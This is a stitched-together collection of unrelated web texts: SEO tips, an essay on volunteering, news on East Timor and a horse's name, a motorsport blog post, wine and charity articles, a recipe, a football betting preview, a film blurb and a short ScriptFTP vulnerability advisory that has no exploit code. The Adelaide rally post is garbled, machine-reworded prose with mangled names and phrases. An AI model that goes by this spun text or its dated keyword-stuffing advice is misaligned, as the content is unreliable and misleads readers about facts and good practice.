To boost your traffic or monetize your site, search engine optimization really can be key. This means doing whatever it takes to help rank your site high within the search engines. Keep reading to learn more.
A few short articles is better than one long one. On search engines, long pages are usually weighted lower than shorter ones. Plus, a long article means that the specific info that the visitor was looking for will likely be buried somewhere in the long article and the visitor will quickly abandon it for another site.
Meta Tags
To achieve the best ranking in search engine results, incorporate a number of keywords related to your market niche in the meta tags for your website. Many experts have also recommended including misspellings of the keywords in the meta tags if someone happens to spell it wrong. The keywords in your metatags will help search engines match your website with relevant searches. While you should include topical keywords in these meta tags, you can also consider including misspellings, like "ipone" if your content is about an iPhone.
Incorporate one or two of your keywords into your domain name. Having a keyword in your address makes it easier for people to find when searching the internet for that keyword. Keep in mind that not everyone visiting your site will have followed an ad. Many will arrive because they were searching for products your site contains.
Having a popular website is about attracting visitors, and getting them to stay on your site. Some evidence shows that people spending more time on your site is better. This information is according to metrics such as Quantcast scores. Discussion mediums such as forums are a good way to interest visitors in spending time on your site.
Do not add any SEO to Flash content. Flash can not be read by the spiders and text used in flash won't be read. Search engines need to crawl and see your site in order to make use of SEO.
Site Map
Include a site map to optimize your search results. Spiders use the site map to find out information regarding your website. A significantly large website might require more than one site map. As a rule, try to have no more than 100 links per map.
When trying to boost your traffic, try adding a site map. This allows all of your pages to be linked together. Having a site map available for visitors will increase traffic to the rest of your webpages. In addition, it makes your website easier to navigate which will increase overall traffic.
Focus on only one subject or product on each page of your website. Don't try promoting every product in one post or article. This will keep your readers interested and on your website longer. A page that just focuses on one thing will do well at getting people to visit.
If you want a specific page within a website to be friendlier to search engines, use keywords in the URL of the page. If the page URL contains things people aren't likely to look up, the page isn't likely to get a high ranking. Getting keyword that are important and have to do with the site will allow you to get more visitors.
You should research what keywords are going to best fit your business. When creating your website, figure out what keywords you should focus on. By doing this keyword research, you are able understand what people are looking for related to you. These popular keywords are the ones you want to concentrate your optimization efforts on.
If you listen to some people out there, they still think that putting keywords in the comment tag section will make them more visible. You must focus on the content of your website.
Search Engines
Proofreading is an important part of any website, but it is often forgotten by site owners. Review your site carefully to be sure your copy is readable to search engines, while still enticing visitors to want to see more. Search engines are more likely to disregard your website or give it a low ranking if keywords are misspelled or your content contains a number of conspicuous grammatical errors.
Always try and generate new content as often as you can. Set a goal of how many stories you will publish per day or per week, and commit to it. Websites that produce more frequent content are seen as more useful to web visitors, and search engines index them more often. If your website is constantly being updated with new information, you will find it will result in a higher rank.
If you want to improve your search engine ranking, writing unique, interesting content should be your number one priority. Attracting traffic is accomplished through unique information. High-quality, unique content not only draws more traffic to your website, it is also more likely to turn a first-time visitor into a repeat visitor.
When you are working on SEO, it is essential that you create content for the human reader. You need to include the keywords in your website text for the search engine bots to pick up. However, these bots don't buy anything. Your site should be easy to read over. If it isn't, you are sure to fail.
Think as a consumer when selecting search engine optimization keywords. People will use easy terms when they are looking for something.
Search Engines
Do not use deceptive techniques to get rankings; search engines will catch on and penalize you. It has even come to the point where the most popular search engines, such as Google and Yahoo, banned companies from appearing in search results entirely! Be well informed about the ethics of search engine optimization!
It is important to be aware of your standings with search engines when it comes to SEO. If you don't pay attention to your standings, you won't know if your SEO methods are effective. You can use Alexa or the Google toolbar to check your page rank.
As you now know, SEO is not that hard and can be very effective at finding you more profits. Use these tips to make your website popular. Getting these tips into action asap will really help you take a big next step.

Searching for Small
These situations are desperately important, but none of them felt close to my heart. I volunteered with this organisation and that, and wrote lots of letters, and longed for a different world. But I never relaxed into any cause. Instead, I had kids.
The polar ice caps are melting, and overpopulation looms. Perhaps we shouldn't have had them. But for the most part I've delighted in them, positively wallowed in the experience. I love to watch them grow. And they've been the catalyst for my own growing up, my blossoming. I never published an essay until I had a baby; I never even thought to try. But with the shattered self, the re-building, and the newfound confidence that a baby engenders, I found myself attempting different things, asking more of myself and of life.
And also less. For at one level, I still feel niggles of doubt. Is raising kids really so important? Are small actions each week enough? Or should we all be leading great movements a la Martin Luther King Jr or Gandhi? I have often heard Buechner's suggestion that our call, or vocation, lies at the intersection of our greatest joy and the world's deepest need. But most of us struggle to name our greatest joy, let alone align it with the world's needs. And the world's needs are so big, so desperate, that it is impossible to see how we might have an impact. No one of us will be able to effect drastic change, but rather than think small, we give up.
Yet we are mortal. We are all of us little people, frail people. How else should we think, but small?
Surely, just as our lives are small but good, so might our deeds be small but good. Whether it's a moment's hospitality or graciousness, or something more intentional, perhaps there are little spaces where our happiness overlaps with the needs of others.
Let me tell you a story. Over the last few years, in reading to my own children, I have realised that reading children's stories gives me enormous pleasure. After a long time, it occurred to me that children other than my own might like having stories read with them. I wondered about school reading, but my daughter's class has so many parent volunteers, at least one of whom is working on her PhD, that I had no real interest in offering to help. I wondered about reading at other places, but nothing really worked out. I even thought about reading at another school, where most of the students are refugees. But I didn't know how to approach it, or who to ask. I sat on the idea, like a chicken with an egg, and waited.
One day, a friend forwarded me an email from this school. They were seeking new books for the kids, because most of the students had no books in their homes. I wept for these kids who had so little, and the egg began to crack. Then I contacted the coordinator, and told her about my idea. She was delighted, and so now I go in to listen to kids reading. The egg has hatched.
For an hour or so each week, I lie on the carpet at the back of a classroom and get quizzed on Harry Potter by boys with gappy teeth, and share naughty smiles with shy girls over the antics of the father Berenstein bear. We struggle to spell out long words, and talk about meaning, irony, irregular verbs and whatever else crops up - in very simple language, of course. Meanwhile my baby empties the classroom rubbish bin, eats pencil shavings, and is adored by 20 little kids.
It's small, very small, and so much fun that I can't believe it's useful. I get to listen to children's stories, and make jokes, and laugh. The kids get one on one attention with an odd lady in stripy socks, and a baby to play peekaboo with. My love of stories overlaps with the kids' need for someone to listen. It's not big. It won't make shockwaves or change the world. I'm not the only volunteer there; I'm not necessary. But if I can be just one link in a chain of people who welcome a young boy into the world of books, if it makes school just that little bit easier for a traumatised girl, then it is more than enough. I don't even need to know if it has these hoped-for effects; given the joy of the weekly encounter, the sheer fun of it, it must be good.
I figure that, all things considered, this is what I am called to do - on Friday mornings, at least. It's not much. But it meshes my love for books with a child's need for a reading partner. And it is particular, local, small.
I hope that in doing this one small thing, and seeing where it takes me, then I too might grow. And if, as they say, one thing leads to another, I reckon a thousand small things might lead to a life transformed. And who knows where a few lives transformed might lead? Perhaps... but that's another story.

That's so beautiful! Thank you for sharing that :-) I, too, always wanted to save the world, and instead I'm bed-bound with chronic illness and can't even care for myself. And in this extremis, I have learned much about valuing the small - be it small joys or small services, and have found a good life though it. Indeed, it comes as a shock when I hear people explaining my situation to others - that restricted person in that tragic situation - there's no way that can be me!ReplyDelete
Heather, don't let your situation constrain your spirit or your belief that you CAN change 'your corner' of the world! Very few of us can do great things, but if we all refuse to do what we can, the world WILL be poorer. We should do what we can where we are - that at least changes where we are! Then,combined with everyone else's little things, the world IS changed for so much better!ReplyDelete
I watched my mother in her days of chronic illness and helplessness - her spirit was so kind and her words so loving that she affected many, many lives and attitudes of those around her. And then the change in them affected those they came into contact with, and on, and on, and on! After witnessing that, I can never believe that I have no influence in the world, I just have to be certain that I influence the world in the right spirit - a spirit of joy and of love.
Hi Heather and Ruth, I wonder too whether chronic illness, like every human situation, calls us to be authentically in the moment - which is difficult when the moment is one of endless hours of medical care, or extreme pain, or utter fatigue. A narrow path to tread, avoiding false cheerfulness or hopeless despair, but somehow I am sure it will lead to love. Peace and hope, Alison.ReplyDelete
How many people, no matter what their circumstances, and how they 'turn out', cherish the lifelong memory of a relationship with an adult at school who thought well of them, and gave their time or their warmth. Its so simple, and goes so far.ReplyDelete

Controversy was stirred up recently because of a name of a horse. A name.
This horse's name has been changed, but was known as "President Trump" (now known as "Fake News" after "Potus" was rejected as a name). He made headlines after his behaviour was causing significant problems.
By this time, though, Dames's mind was tuned into the Snaith wavelength and she quickly spotted what they were up to. "We unfortunately cannot allow Potus as management feels that name is too controversial," she emailed. As she pointed out, Potus is an acronym for President of the United States.
[Snaith] was able to draw several comparisons with the new incumbent of the White House, as he said: "President Trump was very vocal and would not focus on his work. I found him to be extremely stubborn. I considered blinkers and a tongue-tie but he was so unmanageable that I had no option but to geld him."
Thankfully, the Kentucky Derby is coming up, and we can drown out the noise from stuff like this.

Subject: In East Timor, a sense of injustice drives chaos
Globe and Mail (Toronto)
In East Timor, a sense of injustice drives chaos
Despite a series of inquiries and commissions, no Indonesian has gone to jail for the killings that took place during occupation
February 20, 2008
DILI, EAST TIMOR -- Passengers arriving at East Timor's airport are greeted with an ominous sign posted by the authorities, warning of the roving gangs of child extortionists who threaten physical harm to anyone refusing their "baggage services."
The drive from the airport is equally unsettling. The road is controlled by gangs of violent youths who routinely hurl rocks at each other. Shops and homes are guarded with razor wire and spiked fences. Arson has destroyed much of the capital, Dili, and the streets are filled with camps of refugees who fled the destruction.
Gang warfare, fuelled by poverty and a collapsing social order, has devastated East Timor. But the chaos is also linked to a deeper emotion: the simmering sense of injustice over the thousands of killings during Indonesia's military occupation, and the lack of punishment for the killers. The sense of impunity and injustice has made it easier for the gangs to flourish.
Despite a series of inquiries and commissions, not a single Indonesian has been jailed for the 1,500 deaths caused by Indonesian-backed militias in 1999, when East Timor voted for independence. Nor has anyone been prosecuted for the estimated 200,000 deaths during the 24 years of Indonesian occupation.
"The lack of justice is behind every problem in East Timor," said Mario Carrascalao, a former governor of the territory who now leads the Social Democratic Party.
"There's a culture of impunity, and it just encourages more violence."
As much as a third of East Timor's population was killed during the Indonesian occupation, a proportion that makes the slaughter among the worst in human history. The survivors are still waiting for anyone to be punished.
"Justice is very far away," said Gil Soares Ximenes, a 21-year-old refugee whose uncle disappeared during the killings of 1999.
"There have been many commissions, but we haven't seen anyone brought to justice, and we don't see anyone admitting any wrongdoing."
At least eight inquiries or court tribunals have been launched since 1999 to investigate the bloodshed of the Indonesian occupation and its immediate aftermath. The inquiries have produced voluminous evidence of the Indonesian military's involvement in murder and other crimes in East Timor, yet their recommendations have been ignored.
Indonesian courts found 18 people guilty of atrocities in East Timor, but almost all were set free when their convictions were overturned. The only conviction to be upheld was that of a Timorese militia leader.
Indonesia's former military chief, General Wiranto, was indicted in East Timor for his leading role in the violent attacks of 1999, but the East Timor government has opted not to seek his arrest through Interpol because it wants to maintain "friendship" with Indonesia. It knows that East Timor is heavily dependent on Indonesian exports and it knows that the country would suffer hugely if Indonesia cut off supplies to the newly independent country.
For the same reason, East Timor's leaders have rejected the widespread calls for an international tribunal to prosecute those who perpetrated the slaughter of 1999. Instead, with Indonesia's support, it has created the "Truth and Friendship Commission," a toothless inquiry that can offer amnesty to anyone who testifies before it.
The commission, boycotted by the United Nations and widely seen as a whitewash, has allowed Indonesia's military officers to testify in closed-door sessions where they deny any wrongdoing. The military leaders are rarely questioned in any systematic way.
"It hurts me inside when they deny that they supported the killings and they deny that they were behind it all," said another refugee, 25-year-old Artur Gomes, who is still waiting for anyone to be prosecuted for the murder of his cousin by Indonesian-backed militias in 1999.
"It's been many years already and we've seen no truth and no justice," he said.
"Deep in our heart, there is a wound that needs to be healed. We know that Indonesia could get angry and cut off our supplies if we issue an arrest warrant, but we choose justice, no matter what the risk. We want them to come here and admit what they did."
"The commission hasn't been serious enough about investigating the truth," said Jose Texeira, a lawyer and former cabinet minister in East Timor.
"It's a discredited process. The message from the international community is that we should forget about justice. We are seen as insignificant."
An earlier inquiry, supported by the United Nations, produced a 2,500-page report that documented Indonesia's involvement in bloodshed from 1975 to 1999. It called for an international tribunal to prosecute those responsible if no other legal process was working. To pre-empt those calls, the East Timor government set up the truth and friendship commission instead.
"The commission is just a waste of money," said Jose Luis de Oliveira, director of a human-rights group in East Timor.
"It represents the interests of the Indonesian generals and it justifies their crimes. When a witness describes a rape, the Indonesian officers are laughing. It makes us feel pain."

Minimal persuasion was needed when Adelaide Motorsport Festival organisers requested if I'd want to consider joining them each day early for any 'spirited drive-thru the Adelaide Hillsides.' It already sounded fun and just like a great potential story to see Speedhunters around the world.
I'd done some online homework also it appeared as if a fairly decent strategy, and so i didn't bother to inquire about lots of questions. When the team running the AMF felt it'd cost me coming each day early they'd have something pretty awesome arranged, right? I believed that I'd maintain for any great day's driving, things i didn't expect ended up being to have my meaning of 'spirited drive' completely torn apart and reshaped.
I believe many from the day's appeal stemmed in the cascading surprises that will unfold throughout the 48 hrs leading in the event. Despite high expectations, nobody could rationally anticipate that which was planned.
It had been each day I'll remember for any lengthy, lengthy time. Each day that completely represents what Speedhunting way to me. That's, passionate people, beautiful machinery, sweeping roads not to mention a little adrenaline, fuelled by speed.
My office was the passenger seat from the outstanding Ferrari 488GTB. I'd be co-driving for Herbert Appleroth, Chief executive officer of Ferrari Australia.
Had I co-driven before? Negative. Had I met Herbert before? No, mister. Was I a little bit apprehensive concerning the whole gig? Slightly. But most of all, I had been really excited.
If I'm being totally honest with everyone, I had no clue what to anticipate fortunately Herbert would be a real character and incredibly simple to be friends with. He only agreed to be another vehicle nut, although one who's most likely slightly smarter compared to Average Person. It wouldn't happen to be greater than fifteen minutes of driving before i was joking and laughing like old buddies. It simply felt like cruising (really, really fast) inside a mate's (really, really fast) vehicle. That's the strength of true vehicle culture. It unites people on an amount that regrettably just doesn't appear to occur outdoors in our world.
After a little fundamental introductions along with a quick safety briefing we made our way with the staging place to the leading from the primary body of Adelaide Classic Rally competitors. I was on a busy schedule and merely when our class had regrouped in front from the pack i was sent on the way.
Everyone else at Victoria Park cheered once we launched our turbo-powered V8 as hard once we could from the beginning line. to 100km/h emerged in 3 seconds and I'm told it is going – 200km/h in 8.3 seconds. Pretty good for any factory rear-wheel drive!
After our quick squirt lower the primary straight we regrouped with this pack. We'd from the marquee tour, leading the competitors to every stage from the Adelaide Classic Rally. Between stages we cruised sedately with the city roads and out for the regal Adelaide Hillsides region. Heads switched, horns tooted and excited kids smiled and waved for their dream cars once we cruised on.
The modification in landscape was as abrupt like a solid wall. Sure, the town transitioned in the CBD to suburbia, however the city's edge generally is that. In addition to the tarmac transporting us and also the periodic winery, other indications of civilisation rapidly disappeared once we snaked our in place the mountain route to our first real opportunity to 'drive' these dream machines.
We'd arrived at the very first closed road sign and first rally stage. Following a short make sure that the program was obvious with officials, the flag dropped – it had been go time. Our 488GTB jolted to hurry almost immediately, and then any doubt i believe concerning the poser/performance facet of Ferrari disappeared within the scenery behind us. We required benefit of the closed roads and used both lanes from the tight and twisty course. Before we'd entered the very first stage's finish line my thoughts had already began formulating and calculating ways to cover the 488 which i necessary for my house garage.
It was not lengthy before we'd ruled within our tour leader, a BMW i8. The sci-fi sports vehicle was incredibly nimble its large graphite chassis weaved with the narrow stages effortlessly. Even around the straight sections, BMW's technical wizardry within the small 170kW (231hp) hybrid power-plant was impressive. It was not a match for that Ferrari's almost 500kW (670hp) obviously, but both driving and also the vehicle really surprised me. I'd always considered the vehicle much more of a science experiment than the usual true sports vehicle, but after chasing it with the mountain passes I had been curious enough to complete some homework. I'd like to get driving of 1 myself and perform my very own real-world tests.
It was my very first time trekking with the Adelaide Hillsides that wind you for the renowned wine region. Even though the landscape was blurred by speed, it had been still impossible to disregard. Funnily enough, it was not until I began traveling which i really appreciated the main difference and sweetness in our sparse and rugged land. I recall being envious from the amazing locations across Europe and also the Americas before breaking from my local postcode, however I appreciate both effective landscapes as well as the stark impact on literally otherwise in the world.
Between stages I requested Plant to drag to rejoin the rear of the rest. I'd grown keen on the i8, however i figured everyone might appreciate seeing another super cars taking advantage of what exactly are usually public roads. Plant agreed and rejoined the rear of the rest, among the rest of the stages we'd play leapfrog and sneak behind another amazing vehicle. Giving us front row seats to witness how every different vehicle made the the majority of the narrow straights and sweeping bends.
We wound up behind F1 driver Stefan Johansen (make reference to the primary featured image). Our 488GTB felt enjoy it handled the courses effortlessly however it was difficult to compare it straight to the performance other cars in the passenger seat. After watching how effortlessly Stefan threaded his 488 Spider up among the steeper, tighter courses it had been much simpler to help make the comparison between your Ferraris and yet another cars available. It looked and sounded absolutely amazing.
Inside, our 488 were built with a very tough seem into it, particularly with the turbo spooling up mere centimetres behind your mind. The roar from Stefan's 488 Spider just metres in-front lifted the knowledge one step further. An excellent cacophony. Growls, whines and cracks attacking your ears of all the direction it had been a physical overload.
The following stage we tailed Vern Schuppan, South Australia-born motorsport legend and champion of Le Mans in 1983. Vern was steering Aston Martin's new DB11, a clear, crisp and advanced vision from the timeless DB design principals. Similar to Steffan, Vern was taking full benefit of closed road. It had been a privilege to get at observe how easily these motorsport champions could handle the tight stages first-hands. Basically didn't know who had been driving, I'd be difficult pressed to think it had been exactly the same polite 73-year-old gentleman I'd been casually chatting to earlier on that day.
The way in which he threaded this type of large vehicle with the thin, twisty roads from the Hillsides was pure magic. Every last millimetre from the road was utilized. If only we'd some in-vehicle footage to look at Vern work that controls. I had been inspired.
Our last session before lunch will be the most memorable of my day. I was now around the most technical of all of the day's stages, with no straights to blast lower the whole pack was tightly bunched. I was all within about 400 metres of every from almost the beginning of the program to the conclusion marker. It felt a lot more like I had been playing Requirement for Speed in your own home than sitting among everything in tangible existence. It had been almost too best to be reality.
This sort of sh*t doesn't take place in real existence. Tight left, tight right, tight left, hairpin right! Seeing nearly all our tour all running at the same time ended up being to much. Super cars, amazing sounds, attractive scenery – it had been surreal. The memory of this single stage will remain beside me for any lengthy, lengthy time. Plant and that i were laughing like school boys throughout your day. It might end up being the highlight of my week. This really is was what Speedhunting is about, and it is something I'm glad I recieve to express.
We made our way lower in the Adelaide Hillsides for the renowned Barossa Valley. Wealthy volcanic soils and also the perfect climate have produced a whole region ideal for vineyards both red and white-colored wines out of this area are searched for after over the entire globe. Our destination was one of these simple wineries, the 'Bird In Hands.' It provided the right place for motorists and teams to take a rest, enjoy lunch and share tales of the morning's triumphs and moments.
The primary Adelaide Classic Rally ongoing in to the evening but our adventure had in conclusion after lunch when we would trek to town with lots of time to prepare for the following outing. The Gouger Street Party was scheduled to start in a couple of hrs.
Reflecting around the day's exploits once we cruised easily back for the city center helped me smile. We simply had eight from the world's fastest, recommended cars piloted by a few of the fastest racing motorists the earth has seen. Your day was just half over and our weekend hadn't even begun.

Even though the first documented winemaker in the Middle East is mentioned in the Bible, Israel has not had much of a wine-growing and wine-drinking tradition in modern times.
However, thousands of years after Noah was described as planting a vineyard after the flood, Israelis are now trying to improve the quality of the local wine and its popularity among customers.
Noah appears to have loved his wine -- according to Genesis 9:20-23 he was found drunk and naked in his tent to the embarrassment of his sons Shem and Japeth.
But in modern Israel the local wine was not very good until recently, produced mostly as an exceptionally sweet tool for religious blessings and drunk more in worship of Jehovah than Bacchus.
"Until a decade ago, Israeli wines were really bad, but now Israelis are beginning to understand that wine is part of culture, not only of religion," says Israeli wine and restaurant critic Daniel Rogov, whose book Rogov's Guide to Israeli Wines is due out in November.
In the past decade wine consumption in Israel has almost doubled, from about four litres per person per year in the early 1990s to six to eight liters today.
Israeli wines have also begun winning ponal competitions, including the Vinexpo in Bordeaux, Vinitaly in Verona and London's International Wine and Spirit Competition.
Rogov explains this trend by saying Israeli customers acquired the taste for wine during more frequent foreign travel over the past decade. Their experience of new foods and wines abroad changed the restaurant and food culture at home.
Dozens of wineries are now producing the ancient drink in Israel. The agriculture ministry says there are more than 60, while two local wine experts estimate the number of producers to be at least 100.
With nearly constant sun, warm temperatures during the day and colder ones at night, the climate conditions for the grapes are "pretty ideal," explains Eyal Rotem, who owns a vineyard between Tel Aviv and Jerusalem.
"It's no wonder that Israeli wines are winning medals and that slowly but surely people are beginning to understand that wines from Israel are good, because at the end of the day it comes from the grapes," says the suntanned, lean and tall vintager.
There is not much rainfall, but the grapes are irrigated, he continues and points out: "It's good when a vine suffers, that it struggles. It makes the grapes more concentrated."
He speaks while standing outside a new but traditional-style stone building, which overlooks acres of vines and green fields. Inside, wine from grapes harvested last year is being processed in shiny metal cylinders or matures in wooden barrels.
Rotem's winery, which belongs to the Har'el kibbutz in the biblical Ayalon Valley, marketed its first wines in 2001, from vineyards planted in 1998. Its 2001 red wine and 2002 white wine won a gold and silver medal at a national competition last February.
But while the winery is new, its grounds contain an ancient winepress dating back to the Roman rule in the area centuries ago.
Rotem points to a stone surface on which the grapes used to be crushed and a deep hole into which the liquid was collected.
"They have always produced wine in Israel," he says, "but really in the past eight years it's begun gaining momentum and getting exposure."
Almost all supplies had to come from abroad though: the machines for crushing the grapes are from Italy, the oak barrels, bottles and etched wooden transport boxes from France, the corks from Spain.

I've been supporting this project for a few years already. The Fresh Air Fund does great work with children. That's why I accept Sara's invitation to write about it every year. Please read carefully, follow the links, watch the videos. It's not a waste of time.
THE FRESH AIR FUND, an independent, not-for-profit agency, has provided free summer vacations to more than 1.7 million New York City children from low-income communities since 1877. Nearly 10,000 New York City children enjoy free Fresh Air Fund programs annually. In 2010, close to 5,000 children visited volunteer host families in suburbs and small town communities across 13 states from Virginia to Maine and Canada. 3,000 children also attended five Fresh Air camps on a 2,300-acre site in Fishkill, New York. The Fund's year-round camping program serves an additional 2,000 young people each year.
If you or someone you know is able to host, please sign up now. In 2010, The Fresh Air Fund's Volunteer Host Family program, called Friendly Town, gave close to 5,000 New York City boys and girls, ages six to 18, free summer experiences in the country and the suburbs. Volunteer host families shared their friendship and homes up to two weeks or more in 13 Northeastern states from Virginia to Maine and Canada.
Thanks to host families who open up their homes for a few weeks each summer, children growing up in New York City's toughest neighborhoods have experienced the joys of Fresh Air experiences.
Friendly Town host families are volunteers who live in the suburbs or small town communities. Host families range in size and background, but share the desire to open their hearts and homes to give city children an experience they will never forget. Hosts say the Fresh Air experience is as enriching for their own families, as it is for the inner-city children. There are no financial requirements for hosting a child. Volunteers may request the age-group and gender of the Fresh Air youngster they would like to host.

Stories about real Fresh Air host families and their New York City visitors are just a click away! Read what the family Sulouff, Hurst, Van Horn and others have to say about their experience and get inspired!

On Sunday, my friends and I watched Boondock Saints II using a DVD ISO streamed over my home network and viewed on my HDTV using my PS3. The ISO had to be transcoded with the PS3 Media Server software installed on my Debian system. We noticed some intermittent issues with the audio which was not a big deal but should be resolved.
I only have 1GB of RAM on the file server which I upgraded almost four years ago. The PS3 Media Server application is a memory hog, and I am looking into upgrading the system memory so ISOs can be transcoded better with a bigger buffer available that only uses physical memory.
When I purchase memory, I usually go with Kingston. Their reputation for manufacturing high-quality chips is well-known in the enthusiast community. Their "Lexus/Acura/Infiniti" line of RAM is the HyperX series which I currently use in my file server. A 4GB (2x2GB) memory kit of Kingston HyperX is currently on sale for $111. That's less than $30 a gig which is actually pretty good for today's prices.
If you're going to keep up with the system demands of today's applications, then a memory upgrade may be necessary and most likely much less expensive than purchasing a whole new unit. Always check the compatibility with your system when buying memory, because chips are available in all different sizes and speeds.

Chinese Hot and Sour Soup (New Recipe)
I love making hot and sour soup and I have shared a recipe last year. This year I have developed a new recipe which is slightly different.
- 2 Carrots
- 1 head of garlic peeled and thinly diced
- 1 tbsp vegetable oil
- 1 tsp sesame oil
- 1/2 Cabbage Shredded
- 5-6 Black Dried Shitake Mushrooms (Soak in warm water)
- 7-8 Springs of Spring Onion (Cut white part and green part and put separately)
- 3 tbsp Oyster sauce
- 4 tbsp Soy Sauce
- Chicken with bones 300-500g
- 1 Chicken Stock Cube
- 200g chicken cut into small pieces and fried
- White Pepper
- Onion half
- Eggs 2
- Corn Flour 3 tbsp
Cut all the vegetable into small pieces.
Put a pan on the stove and boil chicken in 1 ltr water with half onion and some salt.
Shred Chicken, remove bones and add the shredded chicken again to the broth and 1 chicken stock cube. Throw off the bones. Add some more water if the water that you've put earlier is reduced.
Add fried chicken and mushrooms into it. Then add rest of the vegetable except the green part of spring onion.
Cook a little and add salt, pepper and all the sauces.
In a small frying pan, fry garlic slices till they turn golden and crisp. Add that garlic to the soup.
Taste and adjust the spices and sauces.
Make it thick with corn flour and add the lightly beaten eggs. Do not stir if you want big pieces of eggs.
At the end add green part of spring onion and serve.

NASA's mission to fix the Hubble Space Telescope is taking top billing in the science news this week. (Take that swine flu!) Astronauts recently completed a series of grueling repairs that will extend the telescope's functional life to 2014.
When the telescope was launched in 1990, NASA scientists soon discovered that the main mirror that allowed the Hubble telescope to "see" were slightly off from the design specifications by about a millimeter. In the everyday world, being off by a millimeter is no big deal, but for the Hubble telescope this tiny error meant that it was unable to "see" distant galaxies very clearly.
In 1993, NASA sent a repair mission to the Hubble telescope and fixed the problem. Since then, the Hubble telescope has returned amazing images of distant galaxies and helped astronomers and astrophysicists better understand our universe.
The website www.hubblesite.org has an amazing gallery of pictures taken from the Hubble telescope. I hope they don't mind, but I've posted a few pictures that are simple out of this world!
I think it's amazing that the bright dots in each galaxy is a star. Keep in mind that the Sun is also a star, which means it's possible for other stars to have orbiting planets, perhaps even one similar to our own!

Everyday Creativity & Quality Principles Wrexham
Everyday Creativity and Quality Principles:
A shared learning event for arts groups
Thursday 7 December 2017, Wrexham
Voluntary Arts Wales invites you to a shared learning event, exploring everyday creativity and quality principles for arts groups.
10:30 Everyday Creativity – Jo Hunter, 64 Million Artists
The morning session will discuss the report Everyday Creativity, written by 64 Million Artists.
64 Million Artists is a national campaign to unlock the potential of everyone in the UK through creativity. They were commissioned by Arts Council England to understand how the formal, funded cultural sector should be engaging with the creativity that people practice themselves, every day. The report explores how developing a culture of everyday creativity across the UK might contribute to a more democratic, accessible and open culture for all, and makes recommendations for how we can value, support and democratise everyday creativity. This session will explore the implications for the arts sector in Wales, and how we can achieve a balanced arts ecology where culture is valued by everyone.
You can read the report Everyday Creativity here.
12:30 Lunch and networking
13:30 Quality Principles for voluntary arts groups – Rhian Hutchings, ArtWorks Cymru
The afternoon session will introduce the ArtWorks Cymru Quality Principles.
The Quality Principles were commissioned by Arts Council of Wales. The session will explore what quality means to you, how you can use the Quality Principles to support the work you are developing, and give you an opportunity to consider a current or future project through the lens of the Quality Principles. In particular, it will explore what quality means in voluntary arts settings, and how the Quality Principles can be used by volunteer-led community arts groups.
You can read about the Quality Principles here.
15:30 Event ends
The event is free. You are welcome to attend one or both sessions. Refreshments will be provided.
Venue: Oriel Wrecsam, 11 Chester Street, Wrexham LL13 8BE
Times: 10:30 – 15:30
Booking: Please book by emailing firstname.lastname@example.com with your name and contact details, noting which session/s you'll be attending, and if you have any dietary or access requirements.
Language: The event will be delivered in English. Let us know if you would like to contribute in Welsh.
If you have any questions about the event, please contact Gareth Coles on 07833 580 313 or email firstname.lastname@example.com.

|TV Channel
|Stream College Football all season on ESPN+. Start your 7-day FREE trial today!
The Charlotte 49ers will travel to play the Southern Miss Golden Eagles in a C-USA College Football Game on Saturday.
The Southern Miss Golden Eagles are 5-3 (3-1) this season after beating Marshall by a score of 24-14 in their last game. Southern Miss has lost 2 of their last 3 games, but still manage to be in second place in the C-USA West standings. The Southern Miss offense is averaging 34.4 points per game with 192 rushing yards and 296.6 passing yards per game. Nick Mullens is completing 59.4% of his passes for 2335 yards, 17 touchdowns, and 8 interceptions for Southern Miss. Ito Smith has rushed for 915 yards and 9 touchdowns, while George Payne has added 413 yards and 1 score for the Golden Eagles. Allenzae Staggers caught 37 passes for 696 yards and 6 touchdowns, while D.J. Thompson has caught 31 passes for 335 yards and 4 touchdowns for Southern Miss. The Southern Miss defense is giving up 27.6 points per game with 150 rushing yards and 172.5 passing yards per game. D'Nerius Antoine has led the Golden Eagles defense with 47 tackles and 2 tackles for loss, while Dylan Bradley has added 46 tackles, 11.5 tackles for loss, and 6.5 sacks. Parker Shaunfield has gone 12-13 on field goals for Southern Miss, with a long of 49 yards.
The Charlotte 49ers are 3-5 (2-2) this season after beating Marshall by a score of 27-24 in their last game. Charlotte has lost 4 of their last 6 games and is currently 5th in the C-USA East standings. The Charlotte offense is averaging 24.8 points per game with 185.1 rushing yards and 200.5 passing yards per game. Hasaan Klugh is completing 66% of his passes for 750 yards, 6 touchdowns, and 3 interceptions for Charlotte. Kalif Phillips has rushed for 558 yards and 3 touchdowns, while Robert Washington has rushed for 337 yards and 4 touchdowns for the 49ers. Austin Duke has caught 42 passes for 531 yards and 3 touchdowns, while T.L. Ford II has caught 26 balls for 347 yards and 3 scores for Charlotte. The Charlotte defense is giving up 36.9 points per game with 144.9 rushing yards and 294.8 passing yards per game. Nick Cook has led the 49ers defense with 71 tackles, 2.5 tackles for loss, and 1 sack, while Larry Ogunjobi has added 46 tackles, 11 tackles for loss, and 2.5 sacks. Blake Brewer has gone 2-3 on field goals, with a long of 38 yards.
Charlotte is 5-11-2 ATS in their last 19 games and 0-2-2 ATS in their last 4 November games. The under is 4-1 in Charlotte's last 5 conference games. Southern Miss is 4-1 ATS in their last 5 November games and 1-4 ATS in their last 5 conference games. The under is 7-3 in the last 10 games on turf for Southern Miss.
Charlotte comes into this game on the road and has struggled in recent games, while Southern Miss is in a race for the C-USA Title. Southern Miss has had success passing the ball this season and is going up against a below average defense. I like Southern Miss at home in this one to stay in the conference title race.

What would your life look like without you in it? Outwardly, Howard Wakefield (Bryan Cranston) is the picture of success. He has a loving wife (Jennifer Garner) and two daughters, a prestigious job as a Manhattan lawyer, and a comfortable home in the suburbs. Inwardly, though, he's suffocating. One day, something snaps and Howard goes into hiding in his garage attic. Leaving his family to wonder what happened to him, he observes them from the attic window—an outsider spying in on his own life. As the days of self-imposed isolation stretch into months, Howard begins to wonder: is it even possible to go back to the way things were? Driven by a tour de force, darkly comic performance from Breaking Bad's Bryan Cranston, Wakefield is a provocative look at what it means to walk away from it all.

AmmSoft ScriptFTP 'GETLIST' or 'GETFILE' Commands Remote Buffer Overflow Vulnerability
AmmSoft ScriptFTP 'GETLIST' or 'GETFILE' Commands Remote Buffer Overflow Vulnerability
Class: Boundary Condition Error
Remote: Yes
Local: No
Published: Sep 20 2011 12:00AM
Updated: Sep 30 2011 07:00AM
Credit: Tom Gregory
Vulnerable: AmmSoft ScriptFTP 3.3
URL : http://www.securityfocus.com/bid/49707
